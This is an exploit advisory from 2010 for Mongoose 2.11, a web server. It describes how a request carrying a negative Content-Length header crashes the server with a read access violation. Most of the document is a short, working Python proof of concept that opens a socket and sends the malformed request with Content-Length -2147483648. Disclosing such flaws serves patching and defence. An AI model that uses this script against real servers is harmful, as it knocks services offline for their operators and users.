Mongoose 2.11 Denial Of Service
Posted on 29 December 2010
# ------------------------------------------------------------------------ # Software................Mongoose 2.11 # Vulnerability...........Denial Of Service # Download................http://code.google.com/p/mongoose/ # Release Date............12/27/2010 # Tested On...............Windows XP # ------------------------------------------------------------------------ # Author..................John Leitch # Site....................http://www.johnleitch.net/ # Email...................john.leitch5@gmail.com # ------------------------------------------------------------------------ # # --Description-- # # Sending a request with a negative Content-Length field value causes # the server to crash with a read access violation. # # # --PoC-- import socket host = 'localhost' port = 8080 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(8) s.connect((host, port)) s.send('GET / HTTP/1.1 ' 'Host: ' + host + ' ' 'Content-Length: -2147483648 ')
